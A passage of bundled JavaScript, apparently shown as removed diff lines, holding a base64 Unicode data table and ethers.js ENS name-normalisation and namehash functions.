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")); - } - - // node_modules/@ethersproject/hash/lib.esm/ens-normalize/lib.js - var r2 = getData2(); - var VALID2 = new Set(read_member_array2(r2)); - var IGNORED2 = new Set(read_member_array2(r2)); - var MAPPED2 = read_mapped_map2(r2); - var EMOJI_ROOT2 = read_emoji_trie2(r2); - var HYPHEN2 = 45; - var UNDERSCORE2 = 95; - function explode_cp2(name) { - return toUtf8CodePoints2(name); - } - function filter_fe0f2(cps) { - return cps.filter((cp) => cp != 65039); - } - function ens_normalize_post_check2(name) { - for (let label of name.split(".")) { - let cps = explode_cp2(label); - try { - for (let i = cps.lastIndexOf(UNDERSCORE2) - 1; i >= 0; i--) { - if (cps[i] !== UNDERSCORE2) { - throw new Error(`underscore only allowed at start`); - } - } - if (cps.length >= 4 && cps.every((cp) => cp < 128) && cps[2] === HYPHEN2 && cps[3] === HYPHEN2) { - throw new Error(`invalid label extension`); - } - } catch (err) { - throw new Error(`Invalid label "${label}": ${err.message}`); - } - } - return name; - } - function ens_normalize2(name) { - return ens_normalize_post_check2(normalize2(name, filter_fe0f2)); - } - function normalize2(name, emoji_filter) { - let input = explode_cp2(name).reverse(); - let output = []; - while (input.length) { - let emoji = consume_emoji_reversed2(input); - if (emoji) { - output.push(...emoji_filter(emoji)); - continue; - } - let cp = input.pop(); - if (VALID2.has(cp)) { - output.push(cp); - continue; - } - if (IGNORED2.has(cp)) { - continue; - } - let cps = MAPPED2[cp]; - if (cps) { - output.push(...cps); - continue; - } - throw new Error(`Disallowed codepoint: 0x${cp.toString(16).toUpperCase()}`); - } - return ens_normalize_post_check2(nfc2(String.fromCodePoint(...output))); - } - function nfc2(s) { - return s.normalize("NFC"); - } - function consume_emoji_reversed2(cps, eaten) { - var _a; - let node = EMOJI_ROOT2; - let emoji; - let saved; - let stack = []; - let pos = cps.length; - if (eaten) - eaten.length = 0; - while (pos) { - let cp = cps[--pos]; - node = (_a = node.branches.find((x) => x.set.has(cp))) === null || _a === void 0 ? void 0 : _a.node; - if (!node) - break; - if (node.save) { - saved = cp; - } else if (node.check) { - if (cp === saved) - break; - } - stack.push(cp); - if (node.fe0f) { - stack.push(65039); - if (pos > 0 && cps[pos - 1] == 65039) - pos--; - } - if (node.valid) { - emoji = stack.slice(); - if (node.valid == 2) - emoji.splice(1, 1); - if (eaten) - eaten.push(...cps.slice(pos).reverse()); - cps.length = pos; - } - } - return emoji; - } - - // node_modules/@ethersproject/hash/lib.esm/namehash.js - var logger31 = new Logger2(version29); - var Zeros2 = new Uint8Array(32); - Zeros2.fill(0); - function checkComponent2(comp) { - if (comp.length === 0) { - throw new Error("invalid ENS name; empty component"); - } - return comp; - } - function ensNameSplit2(name) { - const bytes = toUtf8Bytes2(ens_normalize2(name)); - const comps = []; - if (name.length === 0) { - return comps; - } - let last = 0; - for (let i = 0; i < bytes.length; i++) { - const d = bytes[i]; - if (d === 46) { - comps.push(checkComponent2(bytes.slice(last, i))); - last = i + 1; - } - } - if (last >= bytes.length) { - throw new Error("invalid ENS name; empty component"); - } - comps.push(checkComponent2(bytes.slice(last))); - return comps; - } - function isValidName(name) { - try { - return ensNameSplit2(name).length !== 0; - } catch (error) { - } - return false; - } - function namehash2(name) { - if (typeof name !== "string") { - logger31.throwArgumentError("invalid ENS name; not a string", "name", name); - } - let result = Zeros2; - const comps = ensNameSplit2(name); - while (comps.length) { - result = keccak2562(concat2([result, keccak2562(comps.pop())])); - } - return hexlify2(result); - } - function dnsEncode2(name) { - return hexlify2(concat2(ensNameSplit2(name).map((comp) => { - if (comp.length > 63) { - throw new Error("invalid DNS encoded entry; length exceeds 63 bytes"); - } - const bytes = new Uint8Array(comp.length + 1); - bytes.set(comp, 1); - bytes[0] = bytes.length - 